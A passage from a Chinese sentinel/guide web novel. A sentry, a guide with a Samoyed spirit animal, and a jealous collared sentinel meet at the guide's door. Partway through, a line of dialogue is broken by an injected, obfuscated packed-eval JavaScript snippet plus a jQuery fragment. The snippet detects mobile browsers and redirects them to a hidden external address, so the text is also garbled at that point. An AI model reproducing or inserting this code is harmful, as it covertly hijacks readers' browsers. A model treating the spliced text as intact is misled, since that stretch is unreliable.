云凛在屋外守了一夜。
他自己也说不清为什么来。
任务结束后,本来该回黑塔。但他绕了一圈,还是走到了这条巷子。
哨兵身体素质强悍,这一晚对他来说并不难熬。
天边泛起浅白时,云凛缓缓睁开眼。
一张毛茸茸的大脸,几乎贴到他鼻尖。
云凛的拳头已经挥出去了——然后硬生生停在半空。
是向导的精神体。
一只毛色偏灰的萨摩耶,琥珀色的眼睛瞪得圆溜溜的,像个好奇的孩子。它凑得极近,湿漉漉鼻尖轻轻耸动,温热的呼吸扫过云凛的脸,用嗅觉探索着哨兵的信息。
云凛急忙收势,可骤然停下的拳风还是惊到了它。灰毛小狗“呜”了一声,连连往后退了好几步。它歪着脑袋打量,眼神里带着困惑与审视,仿佛分辨:眼前的人到底是好人还是坏人。
云凛以为自己的行踪已经被向导察觉,便不再躲藏,缓缓站起身,抬手拍掉肩头与裤脚的尘土,声音低沉平稳:“走吧。”
“汪!”
灰灰不明所以,但很自然地走在了前面带路。
一人一狗刚走到门口,屋内的楚闻灼便一眼看见了摇着尾巴冲过来的灰灰,以及它身后的男人。
“警官,请问有什么事吗?”楚闻灼问完,紧张地四处张望了一下,“容叙白不会又跑出来吧?”
云凛告知实情:“他的精神污染指数已经回落至安全线,基本恢复正常,不再需要被限制人身自由。”
楚闻灼小声嘀咕:“要不再查查呢?我觉得没那么正常。”
她的声音不大,却一字不落地落进了哨兵灵敏的耳朵里。
云凛耐心解释:“容哨兵之前的极端行为,是精神图景重度污染导致的失控,不是他的本意。”
耳朵真好使。楚闻灼只能偷偷在心里吐槽。
她只好换了个话题,低头看了看围着男人转圈的灰灰,心里莫名升起一丝不妙的预感。她试探着问:“那你今天过来……是它犯法了?”
“没有。”云凛轻轻摇头。
向导没有戳破他守了一夜的事,他一时也不知该如何开口,气氛微微有些凝滞。
楚闻灼见状,只能主动打破沉默:“还不知道警官怎么称呼?”
“云凛。”
“原来是你!”楚闻灼想起了消失的门锁和纸上的签名。
街上失控哨兵,昏迷的渡鸦,不正常的容叙白,执法的云凛……最近发生的一连串的人和事都联系了起来。
楚闻灼暗暗磨牙,果然不能乱发善心。
云凛疑惑:“什么是我?”
楚闻灼抬手指了指房门上新换好的门锁:“原来当初帮我们换锁的人,是你啊。”
“抱歉。”云凛没有辩解,老实地低头道歉,语气诚恳,“是我擅自行动,我可以赔偿。”
楚闻灼可没那个胆子敲诈哨兵警官,连忙摆手:“不用不用,赔偿款我们已经收到了。”
“汪!”
一旁的灰灰突然叫了一声。它绕着云凛转了好几圈,一个劲儿地用脑袋挤他的手。可云凛却好像怕狗一样,缩着手躲躲闪闪,愣是一点也没让狗狗碰到。
灰灰生气:天底下怎么会有这么冷酷无情的人类?!
楚闻灼替它翻译:“它想让你摸它,你可以摸摸它吗?”
向导邀请我摸她的精神体。
这个认知让云凛身体瞬间僵住,半天才挤出一个字:“我……”
“我愿意!”
一道声音突然插了进来。
容叙白不知何时出现在了门口,他仍旧是一身黑衣,肩头的渡鸦与衣服几乎融为一体。他眼神直勾勾地盯着楚闻灼,看得她头皮发麻。
灰灰往后退了一步,耳朵压下去,盯着容叙白。
楚闻灼也后退半步:很难评,感觉以容叙白之前的表现,他是会乐意被狗摸的人。
容叙白垂着眼帘,长长的睫毛遮住眼底的情绪:“你很讨厌我吗?主……”
“停!”
在他要再次说出那个羞耻的称呼前,楚闻灼打断了他。她无比严肃地强调:“我真的没有那种爱好!”
容叙白斜了云凛一眼,语气暗示意味十足:“我明白。”
楚闻灼:“……”
不,我觉得你一点都不明白。
在向导这里没讨到好处,容叙白立刻调转矛头,将火力对准了一旁的云凛。
“云队长,你怎么还在这里?”他皮笑肉不笑,“你该去保护世界了。”
“保护……”云凛看了一眼楚闻灼,顿了顿,跳过了那个词,“是哨兵的责任。”
“白塔和黑塔有发布具体的任务吗?”容叙白故意在“塔”字上加重了语
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343283|199465||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
气,“云队长这是不令而行。”
楚闻灼听得直皱眉,不令而行不是这么用的。
云凛眉心微蹙:“我得罪你了?”
他从始至终都没有招惹过容叙白,可对方却像一头被抢了领地的野兽,一见到他就疯咬不休。
就因为向导更亲近他吗?
云凛看着容叙白,忽然开口:“你打算什么时候去疏导?”
容叙白脸上的笑意顿住。
云凛语气平静地陈述事实;“医生叮嘱你要三天内进行疏导,别忘了。”
容叙语气恶劣:“关你屁事。”
云凛语气平淡,仿佛毫无私心:“我只是担心你再次失控,会伤害到别人。”
“伤害?”
容叙白毫不避讳地仰头,露出脖颈上戴着的黑色项圈,仿佛那不是束缚,而是一件献祭的礼物。
“我这不是带着狗链子吗?”他说,指尖点了点项圈,“高压电流,一碰就能让我失去意识。”
他看向她,漆黑的眼睛里带着莫名的光彩,嘴角慢慢弯起来。
“你喜欢吗?”
楚闻灼立刻转头向云凛求救,“他骚扰我,我现在可以报警吗?”
“当然可以。”容叙白抢先一步开口,“可惜,他打不赢我。”
云凛淡淡纠正:“只是平手。”
“但我有别的办法。”
容叙白得意地从口袋里摸出一个小小的遥控器,上面只有一红一绿两个简单的按钮。
“这是项圈的手动开关。”他晃了晃遥控器,“只要按下红色按钮,就可以立刻启动它。”
云凛目光一凝:“你怎么会有这个?”手动开关作为最后的保险,一般都会留存在医院里。
容叙白得意洋洋:“我问医院要的。”
他把遥控器放进楚闻灼掌心。指尖碰到她的手时,他克制不住地轻轻颤抖了一下。
“如果你不想看见我,就按下去。”容叙白语气轻描淡写,像是在说一件很平常的事,“我会失去所有反抗能力,云凛就能把我抓走。”
楚闻灼差点就心软了。
但下一秒,他就露出了本性:“只要我清醒着,我就不会离开你。”
就凭这句话,她直接一个按爆!
但按的话,又感觉罪不至此。
楚闻灼犹豫不决,仿佛拿了个烫手山芋。